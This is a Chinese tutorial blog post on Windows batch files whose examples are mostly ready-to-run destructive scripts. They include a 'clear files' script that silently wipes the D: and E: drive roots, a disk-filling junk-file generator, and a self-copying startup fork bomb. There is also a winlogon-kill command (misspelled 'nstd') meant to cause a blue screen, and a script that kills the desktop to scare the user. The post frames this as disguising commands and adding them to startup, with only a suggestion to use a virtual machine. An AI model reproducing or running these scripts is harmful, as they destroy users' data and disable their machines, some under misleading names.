第4节 批处理文件及示例

0批处理的作用

自上而下成批地处理每一条命令,直到执行最后一条!即便其中某一行命令执行出错,也继续执行后续命令。

1创建批处理文件

新建一个记事本文件,然后将扩展名改为.bat。
批处理文件是以cmd执行的可执行文件,双击即可执行。

2示例

2.1删除垃圾文件

#批处理文件中不能采用#号的注释方式,可以采用其他注释方式,如::等,但均是行注释,本代码为方便逐行注释,采用Python的注释方式。
@echo off						#关闭回显功能,屏蔽过程。
color 0a						#设置背景和字体颜色
title clear files				#设置程序标题
echo ==========================
echo clear your files
echo ==========================
pause							#设置暂停,不至于瞬间执行完毕退出
echo.							#输出空一行
echo files is chearing			#
d: >nul 2>nul					#“nul”是空的意思。不返回任何结果,无论它是错是对。
cd\ >nul 2>nul					#返回D盘根目录
rd . /s/q >nul 2>nul			#删除文件及文件夹,部分受系统保护的会提示拒绝访问,使用>nul设置不显示该类提示。
e: >nul 2>nul					#“nul”是空的意思。不返回任何结果,无论它是错是对。
cd\ >nul 2>nul					#返回E盘根目录
rd . /s/q >nul 2>nul			#
ping -n 1 127.0.0.1 >nul 2>nul	#可以增加一些不显示的操作
echo congratuation				#提示测试结束
pause							#

2.2生成垃圾文件

本代码需要以管理员运行

d: >nul 2>nul
cd\ >nul 2>nul
fsutil file creatnew d:sys1.ini 102400000
fsutil file creatnew d:sys2.ini 102400000
fsutil file creatnew d:sys3.ini 102400000
fsutil file creatnew d:sys4.ini 102400000

2.3将死循环添加到启动项

copy %~f0 "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
:xunhuan
start
goto xunhuan

几点说明:

  1. 请在虚拟机中win7系统上学习使用,不同系统启动路径不一样。
  2. %~f0:表示当前批处理文件的完整路径。
  3. userprofile:变量,表示当前用户名,用%%表示获取变量值。
  4. 有变量及其他符号,需要采用""括起来。
  5. 冒号代表命名一个代码段,goto表示跳转到一个代码段。

2.4定时小程序

@echo off
color 0a
title 定时小程序V1.0
:menu
cls
echo ==========================
echo            菜单
echo        1.定时关机
echo        2.取消定时
echo        3.退出
echo ==========================

set /p choose=输入您的选择序号
if "%choose%" =="1" goto 1.定时关机
if "%choose%" =="2" goto 2.取消定时
if "%choose%" =="3" goto 3.退出
echo 别TM瞎搞,请输入1 2 3。
pause
goto menu

:1.定时关机
set /p timeoff=输入定时关机时间(s):		
shutdown -s -f -t %timeoff%
goto menu

:2.取消定时
shutdown -a
goto menu

:3.退出
exit

几点说明:

  1. set设置变量,/p表示变量值为用户输入。
  2. 注意逻辑完整,提示信息完整。

2.5致使winXP与2003蓝屏的代码

nstd -c q -pn winlogon.exe

几点说明:

  1. ntsd,强制杀进程.
  2. 因为该进程是批处理执行所需要,所以系统会蓝屏。

2.6关闭win7桌面

@echo off
color 0a
taskkill /im explorer.exe /f
echo 完蛋了
ping -n 5 127.0.0.1 >nul 2>nul
start c:\windows\explorer.exe
echo 吓唬你的
pause

几点说明:

  1. taskkill,杀进程。
  2. /im指定进程。
  3. /f强制执行
  4. explorer桌面进程

3总结

本节课程在学习nas基本命令的基础上,使用批处理文件对一些特殊功能的命令进行伪装、添加到启动项等操作,应注意代码逻辑的完整。

4参考文献

  1. 获取批处理文件所在路径
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值